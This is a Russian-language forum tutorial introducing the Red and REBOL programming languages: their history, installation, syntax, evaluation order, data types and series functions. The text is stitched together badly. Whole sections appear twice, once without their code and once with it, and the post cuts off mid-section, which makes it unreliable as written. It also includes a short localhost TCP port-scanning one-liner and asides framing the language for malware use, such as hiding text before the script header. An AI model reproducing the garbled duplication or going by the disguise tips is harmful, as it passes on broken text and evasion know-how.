D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Предисловие
Всем привет, с вами снова Патрик, и сегодня у нас под скальпелем (или микроскопом, тут как вам будет угодно) очень, не постесняюсь этого слова ОЧЕНЬ интересный язык программирования - Red lang.
Поясню. Если мы посмотрим на все множество языков программирования, то можем легко разделить их на несколько групп (хоть и грубо и с некоторыми допущениями).
Бывают си-подобные языки, мы все их знаем, любим и повсеместно используем. Их можно легко узнать по характерным конструкциям кода, обилию символов ";" в конце строки, а пишут на ниш чаще всего в ООП стиле (а иногда и без него вовсе). Сюда мы можем отнести очевидно C, C++, C#, Objective-C, D, Go, и с некоторыми допущениями возможно даже Java, и даже JavaScript и еще много-много всего. На сегодняшний день, это самая большая группа языков в нашей условной классификации.
Все эти языки могут быть абсолютно разными по назначению, но многие вещи в них реализованы если не идентично, то ну очень похоже. Грубо говоря если в С вы в курсе как реализовать алгоритм "найди нужный элемент в списке и верни его индекс", то и в Java, и в Go вы плюс минус понимаете что нужно сделать.
Как пример - давайте возьмем что-то действительно простое, чтобы не загромождать статью кодом, и посмотрим как это реализовано в языках семейства Си. Например, старый добрый, избитый и затасканный факториал.
Вот так этот алгоритм реализуется в С:
C: Скопировать в буфер обмена
А вот так в Go:
Код: Скопировать в буфер обмена
А вот так в JavaScript:
JavaScript: Скопировать в буфер обмена
В общем, вы поняли идею - даже не зная какого-то конкретного языка из этого подмножества, можно посмотреть на код и плюс минус понять, что вообще происходит, если вы когда-либо сталкивались с Си-подобным синтаксисом.
Есть другая достаточно большая группа под названием "семейство языков ML". Их фишка - функциональный стиль и крутецкая система типов Хиндли-Милнера. Сюда мы можем отнести OCaml, F#, Haskell, ReasonML и опять же, с некоторой натяжкой Rust.
Эти языки вы тоже легко узнаете, если встречали хоть раз - тут принято использовать паттерн матчинг, а код изобилует символами всевозможных вариаций стрелочек и вертикальных черт.
В качестве примера, вычислим факториал в Haskell:
Код: Скопировать в буфер обмена
И сделаем то же самое в Rust:
Код: Скопировать в буфер обмена
Не правда ли характерные и узнаваемые черты и конструкции?
Если лиспообразные языки, который тоже узнает кто угодно с первого взгляда - код там состоит из смайликов чуть более чем полностью. Сюда у нас попадают Common Lisp, различные реализации языка Scheme, Racket, Clojure, и еще много всего.
Бывают языки с синтаксисом, как у Ruby.
Бывают языки с синтаксисом, похожим на Delphi/Pascal (с бесконечно бесящим присваиванием через :=, скажем хором дедушке Вирту спасибо за наш туннельный синдром).
С этим всем все понятно.
А бывают странные языки. Языки, с синтаксисом, не похожим ни на одну из вышеперечисленных групп. Языки с абсолютно другим взглядом на то, как удобно и как все должно работать. У них привычные вещи делаются непривычно, алогично и вообще не так, как мы привыкли. И при изучении языка, набирая на клавиатуре очередную строчку кода, каждый раз ловишь себя на мысли и задаешь вопрос - что это, лютая всратая упопротость или все же гениальность?
И именно про такой язык и пойдет сегодня речь.
Дамы и господа, встречайте, Red.
Краткая историческая справка - REBOL
А началось все в уже теперь далеком, 1997 году, когда Карл Сассенрат (широко известный в узких кругах дядя, основной разработчик AmigaOS, человек благодаря которому современные оси умеют в многозадачность) выпустил первую версию языка REBOL.
Идея была, как я уже говорил - упоротая, граничащая с гениальностью. Разработать язык программирования, подходящий для условий быстроразвивающегося веба и интернета. Сделать его высокоуровневым, простым, при этом с поддержкой распределенных вычислений и еще всякими разными новыми (на то время) фишками.
Из того, что бросается в глаза сразу - более 60 (шестидесяти, Карл!) встроенных типов данных. Среди них есть адреса электронной почты, URL, теги разметки, денежные единицы, даты, время и даже пары координат.
Концепция языка вызвала бы ажиотаж в наше время больших языковых моделей и бума ИИ - сделать программирование простым и максимально приближенным к естественному языку. Базовая единица - слово. Из знаков препинания - только пробел и три варианта скобок "() {} []". Графический интерфейс - свой, из коробки.
Что получилось - давайте посмотрим в этой небольшой серии one-liner'ов:
Напечатать исходный код веб страницы (28 символ):
Открыть окно (да, графическое окно), запросить в качестве инпута адрес сайта и электронную почту и отправить содержимое сайта в письме (125 символов):
Просканить открытые TCP порты (98 символов):
Простенький куайн (93 символa):
Удалить все вхождения элемента из блока, строки или любой другой последовательности (35 символов):
Редактор файлов по FTP (размером в безумные 53 байта):
И такого добра тут - навалом. Язык позволял просто и быстро реализовать и решить невероятное количество прикладных задач, не заставляя при этом пользователя погружаться в то, что находится вот там, под капотом.
Но, как заметил внимательный и вдумчивый читатель - про Ребол или хорошо, или никак.
Язык был платным, с закрытыми исходными кодами и распространялся по лицензии (да-да, прежде чем писать на языке - нужно было купить интерпретатор). И в тот момент, когда развитие железа (переход на 64 битную архитектуру), веба, смартфонов и всего остального дало резкий скачок - у компании просто не было достаточных финансовых возможностей для конкурирования с опенсорс решениями. Вся эта история со странным языком потихоньку загибается, и по итогу, Карл в 2012 году открыл исходные коды под лицензией Apache, чем и воспользовался наш следующий герой.
На сцену выходит Red
В 2011 году на конференции по Rebol, французский программист с говорящим именем Ненад Ракоцевич представляет миру язык Red.
Концепция звучит невероятно круто и еще более безумно - язык полного стека. Ненад предложил создать язык, который одинаково хорошо подходит как для написания максимально близкого к системе кода (типа драйверов и прочего), так и для написания софта высокого уровня - дескотопных и веб приложений и скриптоты.
За основу был взят синтаксис Ребола (который напоминаю, интерпретируемый) и началась раскрутка компилятора.
Язык предполагалось сделать состоящим из двух частей
Всем привет, с вами снова Патрик, и сегодня у нас под скальпелем (или микроскопом, тут как вам будет угодно) очень, не постесняюсь этого слова ОЧЕНЬ интересный язык программирования - Red lang.
Поясню. Если мы посмотрим на все множество языков программирования, то можем легко разделить их на несколько групп (хоть и грубо и с некоторыми допущениями).
Бывают си-подобные языки, мы все их знаем, любим и повсеместно используем. Их можно легко узнать по характерным конструкциям кода, обилию символов ";" в конце строки, а пишут на ниш чаще всего в ООП стиле (а иногда и без него вовсе). Сюда мы можем отнести очевидно C, C++, C#, Objective-C, D, Go, и с некоторыми допущениями возможно даже Java, и даже JavaScript и еще много-много всего. На сегодняшний день, это самая большая группа языков в нашей условной классификации.
Все эти языки могут быть абсолютно разными по назначению, но многие вещи в них реализованы если не идентично, то ну очень похоже. Грубо говоря если в С вы в курсе как реализовать алгоритм "найди нужный элемент в списке и верни его индекс", то и в Java, и в Go вы плюс минус понимаете что нужно сделать.
Как пример - давайте возьмем что-то действительно простое, чтобы не загромождать статью кодом, и посмотрим как это реализовано в языках семейства Си. Например, старый добрый, избитый и затасканный факториал.
Вот так этот алгоритм реализуется в С:
C: Скопировать в буфер обмена
Код:
int factorial(int n) {
int result = 1;
for (int i = 1; i <= n; ++i)
result *= i;
return result;
}
А вот так в Go:
Код: Скопировать в буфер обмена
Код:
func factorial(n int64) *big.Int {
if n < 0 {
return nil
}
r := big.NewInt(1)
var f big.Int
for i := int64(2); i <= n; i++ {
r.Mul(r, f.SetInt64(i))
}
return r
}
А вот так в JavaScript:
JavaScript: Скопировать в буфер обмена
Код:
function factorial(n) {
if (n < 0) { throw "Number must be non-negative"; }
var result = 1;
while (n > 1) {
result *= n;
n--;
}
return result;
}
В общем, вы поняли идею - даже не зная какого-то конкретного языка из этого подмножества, можно посмотреть на код и плюс минус понять, что вообще происходит, если вы когда-либо сталкивались с Си-подобным синтаксисом.
Есть другая достаточно большая группа под названием "семейство языков ML". Их фишка - функциональный стиль и крутецкая система типов Хиндли-Милнера. Сюда мы можем отнести OCaml, F#, Haskell, ReasonML и опять же, с некоторой натяжкой Rust.
Эти языки вы тоже легко узнаете, если встречали хоть раз - тут принято использовать паттерн матчинг, а код изобилует символами всевозможных вариаций стрелочек и вертикальных черт.
В качестве примера, вычислим факториал в Haskell:
Код: Скопировать в буфер обмена
Код:
factorial :: Integral -> Integral
factorial 0 = 1
factorial n = n * factorial (n-1)
И сделаем то же самое в Rust:
Код: Скопировать в буфер обмена
Код:
fn factorial_recursive (n: u64) -> u64 {
match n {
0 => 1,
_ => n * factorial_recursive(n-1)
}
}
Не правда ли характерные и узнаваемые черты и конструкции?
Если лиспообразные языки, который тоже узнает кто угодно с первого взгляда - код там состоит из смайликов чуть более чем полностью. Сюда у нас попадают Common Lisp, различные реализации языка Scheme, Racket, Clojure, и еще много всего.
Бывают языки с синтаксисом, как у Ruby.
Бывают языки с синтаксисом, похожим на Delphi/Pascal (с бесконечно бесящим присваиванием через :=, скажем хором дедушке Вирту спасибо за наш туннельный синдром).
С этим всем все понятно.
А бывают странные языки. Языки, с синтаксисом, не похожим ни на одну из вышеперечисленных групп. Языки с абсолютно другим взглядом на то, как удобно и как все должно работать. У них привычные вещи делаются непривычно, алогично и вообще не так, как мы привыкли. И при изучении языка, набирая на клавиатуре очередную строчку кода, каждый раз ловишь себя на мысли и задаешь вопрос - что это, лютая всратая упопротость или все же гениальность?
И именно про такой язык и пойдет сегодня речь.
Дамы и господа, встречайте, Red.
Краткая историческая справка - REBOL
А началось все в уже теперь далеком, 1997 году, когда Карл Сассенрат (широко известный в узких кругах дядя, основной разработчик AmigaOS, человек благодаря которому современные оси умеют в многозадачность) выпустил первую версию языка REBOL.
Идея была, как я уже говорил - упоротая, граничащая с гениальностью. Разработать язык программирования, подходящий для условий быстроразвивающегося веба и интернета. Сделать его высокоуровневым, простым, при этом с поддержкой распределенных вычислений и еще всякими разными новыми (на то время) фишками.
Из того, что бросается в глаза сразу - более 60 (шестидесяти, Карл!) встроенных типов данных. Среди них есть адреса электронной почты, URL, теги разметки, денежные единицы, даты, время и даже пары координат.
Концепция языка вызвала бы ажиотаж в наше время больших языковых моделей и бума ИИ - сделать программирование простым и максимально приближенным к естественному языку. Базовая единица - слово. Из знаков препинания - только пробел и три варианта скобок "() {} []". Графический интерфейс - свой, из коробки.
Что получилось - давайте посмотрим в этой небольшой серии one-liner'ов:
Напечатать исходный код веб страницы (28 символ):
print read http://google.com
Открыть окно (да, графическое окно), запросить в качестве инпута адрес сайта и электронную почту и отправить содержимое сайта в письме (125 символов):
view layout [u: field "user@xss.is" h: field "http://" btn "Send" [send to-email u/text read to-url h/text alert "Sent"]]
Просканить открытые TCP порты (98 символов):
repeat n 100 [if not error? try [close open probe join tcp://localhost: n] [print [n "is open"]]]
Простенький куайн (93 символa):
RED[] do a: {view layout[t: field 500 rejoin["RED[] do a: {" a "}"] btn "do" [do do t/text]]}
Удалить все вхождения элемента из блока, строки или любой другой последовательности (35 символов):
while [ find list item ] [ remove find list item ]
Редактор файлов по FTP (размером в безумные 53 байта):
view layout[f: field btn"Edit"[editor to-url f/text]]
И такого добра тут - навалом. Язык позволял просто и быстро реализовать и решить невероятное количество прикладных задач, не заставляя при этом пользователя погружаться в то, что находится вот там, под капотом.
Но, как заметил внимательный и вдумчивый читатель - про Ребол или хорошо, или никак.
Язык был платным, с закрытыми исходными кодами и распространялся по лицензии (да-да, прежде чем писать на языке - нужно было купить интерпретатор). И в тот момент, когда развитие железа (переход на 64 битную архитектуру), веба, смартфонов и всего остального дало резкий скачок - у компании просто не было достаточных финансовых возможностей для конкурирования с опенсорс решениями. Вся эта история со странным языком потихоньку загибается, и по итогу, Карл в 2012 году открыл исходные коды под лицензией Apache, чем и воспользовался наш следующий герой.
На сцену выходит Red
В 2011 году на конференции по Rebol, французский программист с говорящим именем Ненад Ракоцевич представляет миру язык Red.
Концепция звучит невероятно круто и еще более безумно - язык полного стека. Ненад предложил создать язык, который одинаково хорошо подходит как для написания максимально близкого к системе кода (типа драйверов и прочего), так и для написания софта высокого уровня - дескотопных и веб приложений и скриптоты.
За основу был взят синтаксис Ребола (который напоминаю, интерпретируемый) и началась раскрутка компилятора.
Язык предполагалось сделать состоящим из двух частей
- Red/System - тот самый низкоуровневый язык, похожий по задумке на С, но оернутый в синтаксис Ребола
- Red - мета-язык высокого уровня, уже прямой наследник Ребола с возможностью как интерпретации, так и компиляции в исполняемый файл.
Вся эта движуха завертелась закрутилась, потом ребята хайпанули на волне крипты и ICO, довели язык до состояния "все еще альфа, но уже можно щупать" и продолжают тихо-мирно пилить его по сей день.
Для разгона и чистоты эксперимента, посмотрим на факториал:
Код: Скопировать в буфер обмена
fac: function [n][r: 1 repeat i n [r: r * i] r]
Отлично!
Маргинальнее некуда, поэтому давайте щупать))
Установка на разных платформах
Несмотря на всю упоротость и маргинальность, к установке вопросов нет. Даже наоборот, я мечтаю что однажды разработчики более популярных языков программирования посмотрят как можно и сделают наконец так, чтобы мне не нужно было гуглить "как установить язык X на платформу Y", а также выкачивать гигабайты тулчейна.
Один исполняемый файл. Вес варьируется, но в среднем это 1мб (мегабайт) для консольной версии и 2.5 метра для гуи.
Никакой установки - этот файл и компилятор, и интерпретатор. И репл тоже.
Из доступных платформ - Windows, Linux, MacOS, а также ранее были различные варианты BSD, Android, и вот недавно появились варианты для ARM под линух.
Сразу огромная ложка дегтя - только 32 бита. Переезд на 64 битную архитектуру запланирован, но тянется уже достаточно долго чтобы забить. также с линуксом есть некоторые танцы с бубном, нужно таки выполнить пару команд ручками и поставить нужные версии библиотек. Ну и на современных макосях не запустится, потому что поддержку х32 тут дропнули уже достаточно давно.
Но минус ли это в мире малваре кодинга, где до сих пор в ходу и большом почете 32 битные версии софта? Оставлю этот вопрос для дальнейшего размышления читателю.
И сразу же следом за ложкой дегтя вброшу ложку меда - есть кросс компиляция, причем без всяких "если". Из любой доступной платформы и архитектуры в любую другую доступную платформу и архитектуру. За это конечно же ставим жирный плюс.
Структура кода в Red
После того, как мы скачали однофайловый компилятор/интерпретатор и произвели все необходимые манипуляции - можно познакомиться с самим языком.
Для начала, напишем простенький хэллоуворлд (все таки дань традициям):
Код: Скопировать в буфер обмена
Код:
Red []
print "Hello World!"
Обратите внимание, что код всегда начинается с заголовка Red …
Все, что идет до этой фразы - игнорируется интерпретатором (ставим себе заметочку, интересная фича для маскировки скриптов).
Окей, подправим немного наш пример, чтобы получилось приложение с графическим интерфейсом:
Код: Скопировать в буфер обмена
Код:
Red: [needs: 'view']
view [
text "Hello World!"
]
Тут можно сразу обратить внимание на то, как происходит импорт модулей и как в Red реализованы DSL (киллер фича языка, но об этом чуть позже).
Запустить все это чудо проще простого. Вот так мы интерпретируем, компилируем и соответственно кросс-компилируем. Обратите внимание, флаг -c служит для компиляции в режиме development - рядом с исполняемым файлом будет лежать всякий нужный мусор. Для настоящей продакшн сборки нужно указывать флаг -r.
Вес итогового хэллоуворлда ~ 1 мб. Связано это с тем, что для высокоуровневых фич файл тащит с собой libRed. Уж не знаю что там происходит под капотом и насколько честно называть такой подход компиляцией, но имеем то, что имеем. По заявлениям разработчиков, там присутствует «частичная компиляция», но так ли это на самом деле - я лично не чекал.
Вес можно ощутимо уменьшить, используя низкоуровневый Red/System, но тут сразу возникают вопросы - для чего? Если гнаться за весом и писать все на лоулевеле, то почему бы не взять более зрелый язык? А если хочется использовать фичи Red, то один фиг придется его тащить с собой, тогда для чего использовать низкоуровневый DSL? Сейчас единственное адекватное применение, которое я могу придумать - это некий аналог wasm, для ускорения каких-либо критичных мест (естественно, сферических и в вакууме).
Синтаксис и интересные концепции
Как читатель уже понял по примерам кода, Red - язык чуть более чем странный, поэтому синтаксису и взгляду на мир через эту парадигму я предлагаю уделить особое внимание и пройтись по языку с самых основ.
Базовая единица языка - слово (вспоминаем про natural language processing и глобальную великую идею). Слово может иметь разные типы и обозначать разные сущности. Программа на Ред - это последовательность слов.
Переменные в Ред задаются с помощью вот такого синтаксиса
Код: Скопировать в буфер обмена
Код:
>> x: 42
== 42
>> print x
42
Слова могут быть ассоциированы со значениями, а могут быть с целыми блоками кода (гомоиконность, добрый вечер):
Код: Скопировать в буфер обмена
Код:
>> a: [print "hello"]
== [print "hello"]
>> do a
hello
Неискушенный ум может подумать, что тут попахивает чем-то вроде функции eval, которая на сегодняшний день присутствует в каждом первом скриптовом языке и настоятельно не рекомендуется к применению везде, где только можно. Но есть тут очень важное отличие. Eval принимает в качестве аргумента строку. А здесь - натуральный кусок кода, то есть заявочка на гомоиконность действительно серьезная.
Окей, если есть сеттер, значит где-то рядом должен быть и геттер. И он реализован на удивление логичным образом - двоеточие перед названием переменной:
Код: Скопировать в буфер обмена
Код:
>> x: 42
== 42
>> y: :x
== 42
>> print y
42
Тут также стоит заметить, что и сеттер, и геттер имеют собственный тип данных (set-word! и get-word! соответственно), а также что при попытке гетнуть какую-нибудь дефолтную функцию, например print - все корректно отработает:
Код: Скопировать в буфер обмена
Код:
>> imprimire: :print
== make native! [[
"Outputs a value followed by a newline"
...
>> imprimire "hello"
hello
Связано такое поведение с тем, что в языке Red нет ключевых слов - любую встроенную функцию можно переопределить, что дает нам возможность стрелять себе в ноги с двух рук.
Если нам нужна не переменная, а именно слово - используется символ одинарной кавычки.
Код: Скопировать в буфер обмена
Код:
>> print something
*** Script Error: something has no value
*** Where: print
*** Stack:
>> print 'something
something
То есть по факту, когда мы вызываем присваивание переменной через двоеточие, под капотом происходит следующее:
Код: Скопировать в буфер обмена
Код:
>> set 'test 33
== 33
Порядок выполнения
Как мы уже поняли, Ред работает с кодом как с набором слов. И перед тем, как мы продолжим погружение - я считаю очень важным остановиться на том, как Ред выполняет код.
Я опишу, как я вижу это с моей личной точки зрения. Опять же, это может оказаться неточным, но пока что это достаточно хорошо объясняет поведение Реда и позволяет не сломать себе голову на элементарных вещах.
После запуска Red начинает читать текст слева направо (→), выполняя все операции, которые он может найти. Если он распознает операцию, требующую аргументов, он выбирает аргументы из этого основного текста по мере необходимости, чтобы прийти к окончательному значению. Рассмотрим понятие оценочных групп и выборки аргументов. Red рассматривает текст (строки) как блок символов, поэтому основной текст кода Red - это просто большой блок для Red, даже без скобок и кавычек.
Выполнение кода триггерится командой "do" (как мы уже видели в примере выше). При запуске скрипта или нажатии клавиши Enter в консоли не всегда нужно набирать команду do, это означает, что вы применяете неявную команду do к следующему тексту. В случае скрипта оценка начинается только после того, как интерпретатор найдет символы "Red [".
Интересным следствием всего этого является то, что, хотя это и не считается хорошей практикой, вы можете действительно выполнять текст:
Код: Скопировать в буфер обмена
Код:
>> do "3 + 5"
== 8
>> 3 + 5
== 8
Окей, а как тогда получить результат?
Результатом интерпретации Red является результирующее значение последней оцениваемой группы. Конечно, по пути можно делать всякие интересные вещи: писать файлы, читать веб-страницы, создавать красивые рисунки на экране, но значение, возвращаемое Red (если оно есть), - это последний результат.
Код: Скопировать в буфер обмена
Код:
>> do "3 + 5 7 * 8 print 69"
69
Мы поняли, что триггернуть выполнение кода можно с помощью слова "do". Но в какой момент выполнение (нитерпретация) кода останавливается? Что является триггером для этой ситуации? Конечно, конец текста (кода) и комментарии.
Но, кроме того, интерпретатор Red пропускает блоки внутри основного текста (блоки внутри основного блока), просто оставляет их как есть. Он выполняет их только в том случае, если они являются аргументом операции. При этом эта операция может быть другой операцией do:
Код: Скопировать в буфер обмена
Код:
>> do {print "hello" 7 + 9 [8 + 2]}
hello
== [8 + 2]
При написании кода на Ред, иногда, вам может понадобиться не только результирующее значение. А, например, все значения, которые получались в процессе выполнения. Этого можно достичь, используя "reduce". Обратите внимание на то, что это НЕ то же самое, что применить do к каждому блоку по отдельности:
Код: Скопировать в буфер обмена
Код:
>> reduce [3 + 5 7 * 8 "print 69"] ; do "print 69" should print 69!
== [8 56 "print 69"]
Порядок выполнения математических операций
Честно, я не думал, что мне понадобится это когда-либо кому-то объяснять (в том числе себе самому). Просто потому что порядок выполнения мат операций и их приоритет одинаковые плюс минус в 99% языков, и на моей памяти последний раз неприятно было только при работе с Фортом. В остальных случаях все как-то само собой, логично и нативно.
Но не здась. Следите за руками, я постараюсь объяснить как это работает максимально просто.
- Все операции с инфиксными операторами, аргументы которых только значения (не функции) - выполняются первыми. Если эти инфиксные выражения имеют более двух операндов, то они вычисляются слева направо ( → ) без приоритета операций (т.е. умножение не вычисляется автоматически перед сложением).
- Затем все выражение вычисляется справа налево (← ).
Пример:
Да, это очень непривычно и далеко от того, к чему мы все привыкли. Но в целом, правила достаточно простые и к ним быстро адаптируешься.
Типы данных
Как я уже упоминал ранее, одна из особенностей Ред - огромное количество встроенных типов данных. Я не буду останавливаться подробно на каждом из них, поскольку некоторые из них достаточно очевидные (а некоторые еще и весьма бесполезные), пройдусь лишь по основным повседневным типам данных, которые чем-то отличаются от привычных нам, а также по сериям.
Да, это очень непривычно и далеко от того, к чему мы все привыкли. Но в целом, правила достаточно простые и к ним быстро адаптируешься.
Типы данных
Как я уже упоминал ранее, одна из особенностей Ред - огромное количество встроенных типов данных. Я не буду останавливаться подробно на каждом из них, поскольку некоторые из них достаточно очевидные (а некоторые еще и весьма бесполезные), пройдусь лишь по основным повседневным типам данных, которые чем-то отличаются от привычных нам, а также по сериям.
- none! - аналог null или undefined в других языках программирования. Не существующие данные.
- logic! - аналог булей. Отличительная особенность - помимо стандартных true/false, Ред также распознает on/off и yes/no. По аналогии с другими языками, все, что не равно false/off/no считается истиной
- string! - строка в Ред. Является серией и представляет собой последовательность символов, а значит - предоставляет нам стандартные возможности работы с последовательностями. Обозначается привычными двойными кавычками и, неожиданно, фигурными скобками (которые используются для мультилайн строк)
- char! - тип символа, задается с помощью решетки и двойных кавычек. Представляет собой целое число от 00 до 10FFF (в хексе), соответствует юникод символам и поддерживает математические операции
Все остальное - плюс минус как у людей, за исключением совсем уж упоротых типов данных. Например, 11% - это тип данных "проценты".
Последовательности
Я думаю все уже привыкли к исключительной неоднозначности нашего сегодняшнего подопытного, а также мы все держим в голове мысль о DSL.
Чтобы понять последовательности в Ред, нужно понять следующее:
Есть Блоки. Ред состоит из блоков. Все, что окружено квадратными скобками, считается блоком.
Есть Последовательности - это группы элементов. И они по сути являются основополагающим типом в Ред. Даже программы, написанные на Ред сами по себе - это последовательности. Элементами последовательности может быть что угодно из лексики Ред - данные, слова, функции, объекты или другие последовательности.
Как я уже говорил ранее, строки - это последовательности символов в Ред, поэтому к ним применимо все то, о чем мы будем сейчас говорить. Как и большинство более-менее сложных сущностей в Ред.
Для примера, начнем с массивов - известной многим структуры данных из других языков программирования. В Ред массив, естественно, является последовательностью. А многомерный массив, соответственно - последовательность из других последовательностей:
Код: Скопировать в буфер обмена
Чтобы получить элемент массива, используется весьма неочевидный символ - слэш:
Код: Скопировать в буфер обмена
Использовать переменную в качестве ключа можно с помощью уже известного нам геттера:
Код: Скопировать в буфер обмена
Навигация по последовательностям
Да-да, строго говоря, массив - не совсем массив. Последовательности представляют собой не что иное, как односвязный список с некоторыми особенностями реализации:
Последовательности
Я думаю все уже привыкли к исключительной неоднозначности нашего сегодняшнего подопытного, а также мы все держим в голове мысль о DSL.
Чтобы понять последовательности в Ред, нужно понять следующее:
Есть Блоки. Ред состоит из блоков. Все, что окружено квадратными скобками, считается блоком.
Есть Последовательности - это группы элементов. И они по сути являются основополагающим типом в Ред. Даже программы, написанные на Ред сами по себе - это последовательности. Элементами последовательности может быть что угодно из лексики Ред - данные, слова, функции, объекты или другие последовательности.
Как я уже говорил ранее, строки - это последовательности символов в Ред, поэтому к ним применимо все то, о чем мы будем сейчас говорить. Как и большинство более-менее сложных сущностей в Ред.
Для примера, начнем с массивов - известной многим структуры данных из других языков программирования. В Ред массив, естественно, является последовательностью. А многомерный массив, соответственно - последовательность из других последовательностей:
Код: Скопировать в буфер обмена
Код:
>> a: [[1 2][3 4][5 6]]
== [[1 2] [3 4] [5 6]]
Чтобы получить элемент массива, используется весьма неочевидный символ - слэш:
Код: Скопировать в буфер обмена
Код:
>> a/1
== [1 2]
>> a/1/1
== 1
>> a/3/2
== 6
Использовать переменную в качестве ключа можно с помощью уже известного нам геттера:
Код: Скопировать в буфер обмена
Код:
>> a: ["me" "you" "us" "them" "nobody"]
== ["me" "you" "us" "them" "nobody"]
>> b: 4
== 4
>> a/:b
== "them"
Навигация по последовательностям
Да-да, строго говоря, массив - не совсем массив. Последовательности представляют собой не что иное, как односвязный список с некоторыми особенностями реализации:
- Первый элемент последовательности - head
- В конце каждой последовательности есть tail - у него нет значения
- У каждой последовательности есть сущность, под названием "стартовая точка". Наиболее человеческое объяснение - это место, где начинается значимая часть последовательности. Это очень важно, потому что многие операции с последовательностями опираются на эту, хм, "стартовую точку".
- У каждого элемента есть индекс, и начинается он с единицы (не с нуля)
Важные функции:
- head - передвигает стартовую точку в начало последовательности
- tail - передвигает стартовую точку в конец последовательности, прям в самый конец, после последнего элемента
- next - двигает стартовую точку на один шаг вперед
Важно - ни одна из этих функций не изменяет оригинальную последовательность, поэтому не получится использовать next несколько раз для итерации - делать это нужно через присваивание (s: next s).
Также важно - в оригинальных доксах сущность под названием "стартовая точка" именуется "index", но чтобы избежать путаницы - мы не будем ее так называть. В дальнейшем я буду также использовать термин "указатель", подразумевая стартовую точку. А индекс - это индекс массива.
Небольшой пример для наглядности и понимания, как это работает:
Код: Скопировать в буфер обмена
Обратите внимание на то, что хоть функция first и возвращает теперь значение "dog", index? возвращает 2 (абсолютное значение).
Ну вы поняли, есть список, а есть "стрелочка-указатель", которую мы можем двигать взад-вперед и от нее зависят результаты вызовов функций.
Еще немного про навигацию.
back - как next, только двигает указатель на один назад
skip - двигает указатель на N шагов вперед. Если число больше, чем длина последовательности - остается указывать на tail.
Геттеры последовательностей
Тут у нас тоже достаточно интересный зоопарк, но поверьте, все это постепенно сложится в одну общую картину, когда мы дойдем до DSL, и наконец-то осознаем почему все так странно называется и еще более странно работает (не топлю за то, что это хорошо, просто констатирую факт - картина сложится).
Также важно - в оригинальных доксах сущность под названием "стартовая точка" именуется "index", но чтобы избежать путаницы - мы не будем ее так называть. В дальнейшем я буду также использовать термин "указатель", подразумевая стартовую точку. А индекс - это индекс массива.
Небольшой пример для наглядности и понимания, как это работает:
Код: Скопировать в буфер обмена
Код:
>> s: [ "cat" "dog" "fox" "cow" "fly" "ant" "bee" ]
== ["cat" "dog" "fox" "cow" "fly" "ant" "bee"]
>> s: next s
== ["dog" "fox" "cow" "fly" "ant" "bee"]
>> print s
dog fox cow fly ant bee
>> head? s
== false
>> print first s
dog
>> index? s
== 2
Обратите внимание на то, что хоть функция first и возвращает теперь значение "dog", index? возвращает 2 (абсолютное значение).
Ну вы поняли, есть список, а есть "стрелочка-указатель", которую мы можем двигать взад-вперед и от нее зависят результаты вызовов функций.
Еще немного про навигацию.
back - как next, только двигает указатель на один назад
skip - двигает указатель на N шагов вперед. Если число больше, чем длина последовательности - остается указывать на tail.
Геттеры последовательностей
Тут у нас тоже достаточно интересный зоопарк, но поверьте, все это постепенно сложится в одну общую картину, когда мы дойдем до DSL, и наконец-то осознаем почему все так странно называется и еще более странно работает (не топлю за то, что это хорошо, просто констатирую факт - картина сложится).
- pick - берет элемент из последовательности с заданным индексом и возвращает его
- at - возвращает последовательность, начиная с заданного индекса
- select и find - оба ищут заданный элемент в последовательности. Разница в том, что select возвращает следующий за найденным элемент, а find - последовательность, начиная с искомого элемента
- extract - возвращает новую последовательность из элементов с заданным шагом. По простому - вернет каждый второй или каждый третий элемент
Сеттеры последовательностей
Честно, чем глубже мы погружаемся, тем более стойким становится ощущение, что некоторые названия функций авторы меняли просто потому что "мы хотим, чтобы это называлось по-другому".
Честно, чем глубже мы погружаемся, тем более стойким становится ощущение, что некоторые названия функций авторы меняли просто потому что "мы хотим, чтобы это называлось по-другому".
- clear - очищает последовательность
- poke - заменяет элемент по заданному индексу на указанный
- append - очевидно, добавляет элемент в конец
- insert - как append, только добавляет значения не в конец, а в текущую точку указателя
- replace - находит и заменяет заданный элемент
- remove - удаляет первый элемент последовательности
И еще много-много-много других вариаций вставок, удалений, замен, перемещений, телепортаций и других жонглирований данными.
Глобально - конечно здорово, всегда лучше когда какой-то функционал есть, чем когда его нет. Но блин, почему бы не вынести совсем уж экзотичные функции (типа выборки каждого третьего элемента) в отдельную библиотеку? Назвать ее "жонглируем данными вдоль и поперек" и пусть ее используют те, кому это надо. Такая бибилотека есть в каждом первом языке, но для чего все это напихивать в stdlib? Тайна сия велика
Типы последовательностей
Окей, плюс минус разобрались с этим кавардаком с последовательностями. Давайте наконец посмотрим, какие типы данных у нас имеются для боевых задач из коробки и приблизимся к написанию чего-то живого.
Hash!
На этом моменте вдумчивый читатель мог подумать, что это наверное хэш-таблица, словарь. Но не тут то было.
Это хэш. Специальный список, который "хэширует значения для ускорения поиска".
Ну допустим, допустим. На деле знакомый некоторым из нас проперти лист:
Код: Скопировать в буфер обмена
Vector!
Тут без долгих объяснений - оптимизированная последовательность только для чисел. Из особенностей - можно умножить вектор на число
Код: Скопировать в буфер обмена
map!
А вот это как раз наш словарь:
Код: Скопировать в буфер обмена
Обратите внимание, что map - НЕ последовательность, соответственно все абракадабры с указателем, в которых мы так долго разбирались, тут не работают. Как и не работают большинство функций для последовательностей. Настолько, что не осилили даже сделать генерик сеттеры и геттеры - поэтому для получения и записи элементов используются отдельные слова select и put.
Если вам еще не настолько смешно, как мне, то вот вам аналог функции append специально для словарей - extend:
Код: Скопировать в буфер обмена
На этом пожалуй закончим с великими и ужасными типами данных языка Red и перейдем к управлению выполнением, а именно - циклам и условным операторам
Флоу
Вариантов условных операторов нам, как и всего остального - завезли с запасом (и все они одинаково упоротые).
И на этом моменте я напоминаю вдумчивым читателям, что если вы думаете, что уж if-else то точно в Red работают как везде, то имейте в виду - мы имеем дело с чешско-французской магией высокого уровня, и ее логика недоступна смертным:
Глобально - конечно здорово, всегда лучше когда какой-то функционал есть, чем когда его нет. Но блин, почему бы не вынести совсем уж экзотичные функции (типа выборки каждого третьего элемента) в отдельную библиотеку? Назвать ее "жонглируем данными вдоль и поперек" и пусть ее используют те, кому это надо. Такая бибилотека есть в каждом первом языке, но для чего все это напихивать в stdlib? Тайна сия велика
Типы последовательностей
Окей, плюс минус разобрались с этим кавардаком с последовательностями. Давайте наконец посмотрим, какие типы данных у нас имеются для боевых задач из коробки и приблизимся к написанию чего-то живого.
Hash!
